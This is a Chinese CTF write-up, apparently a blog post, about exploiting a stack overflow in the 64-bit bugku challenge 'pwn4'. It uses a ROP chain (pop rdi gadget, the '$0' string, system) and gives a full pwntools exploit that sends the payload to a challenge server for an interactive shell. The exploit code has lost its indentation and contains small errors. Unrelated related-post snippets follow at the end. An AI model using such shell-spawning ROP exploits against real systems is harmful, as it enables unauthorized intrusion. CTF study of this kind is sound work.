今天做的是一道bugku的pwn題發現好多都是64位的…可能寫的不太好但重在自己去理解
64位的好難不會做,pwn4,這是乙個明顯的棧溢位,然後我們沒有』/bin/sh』額額我是用了
strings -a -tx pwn4|grep 『』/bin/sh" 用了ropgadget無果後直接查詢發現"$0"可以代替它無語了,然後就是構造rop鏈了很簡單這道題
我們找到system函式的位址跳到它然後再找到"$0"的位址用pop rdi | ret 鏈起來就可以了
找字串可以這樣 ropgadget --binary pwn4 --strings 『/bin/sh』
32位的函式傳參是用的棧,然後64位函式傳參用的是暫存器(7位之前)rdi、rsi、rdx、rcx、r8、r9來傳參
最後給上exp:
from pwn import *
def pwn(ip,port,debug):
if(debug==1):
p=process('./pwn4')
elf=elf('./pwn4')
else:
p=remote(ip,port)
offset=24
system_addr=0x000000000040075a
print system_addr
gadget=0x4007d3
bin_sh=0x000000000060111f
payload='a'*offset+p64(gadget)+p64(bin_sh)+p64(system_addr)
p.recvuntil('come on,try to pwn me\n')
p.sendline(payload)
p.interactive()
if __name__=="__main__":
pwn('114.116.54.89',10004,1)
```還有為什麼我用elf.symbols['system']找出來的函式位址不對~~~~
暑假訓練總結 SSL暑假訓練總結
第一周過的還算好吧,覺得飯堂伙食也挺好的,同學也挺好。學習的東西感覺比小學難好多,有種覺得以前學的東西太簡單了的感覺,但多虧了小學的時候基礎打得還算紮實,學得還行,但總是感覺自己就是個菜雞,就是乙個蒟蒻,哎,室友真的太強了。第一周總結 第二週自我感覺挺不錯的,總算追上了部分室友,成績也開始 這一切都...
pwn 暑假複習三 libc洩露
ctfwiki 例一 ret2libc2 拿到程式checksec檢視 沒什麼問題 原始碼int cdecl main int argc const char argv const char envp 查詢可以用的gadgets,先看有沒有 bin sh 事實證明,沒有 看看有沒有system,我們...
暑假訓練隨筆
七月的流火好像還在灼燒著上海,八月的微風已稍有顯露 好吧。不扯了。現在多校訓練已經進行到一小半了,但是自己賽場上做不出來好氣,比賽完補題不會更生氣,就這樣迴圈往復過了半個暑假了。哎,每個學期開頭都是雄心壯志要好好做人,結果到了後面總是難有乙個好的結果。想想acm對我也差不多有了兩年了,大一的什麼都不...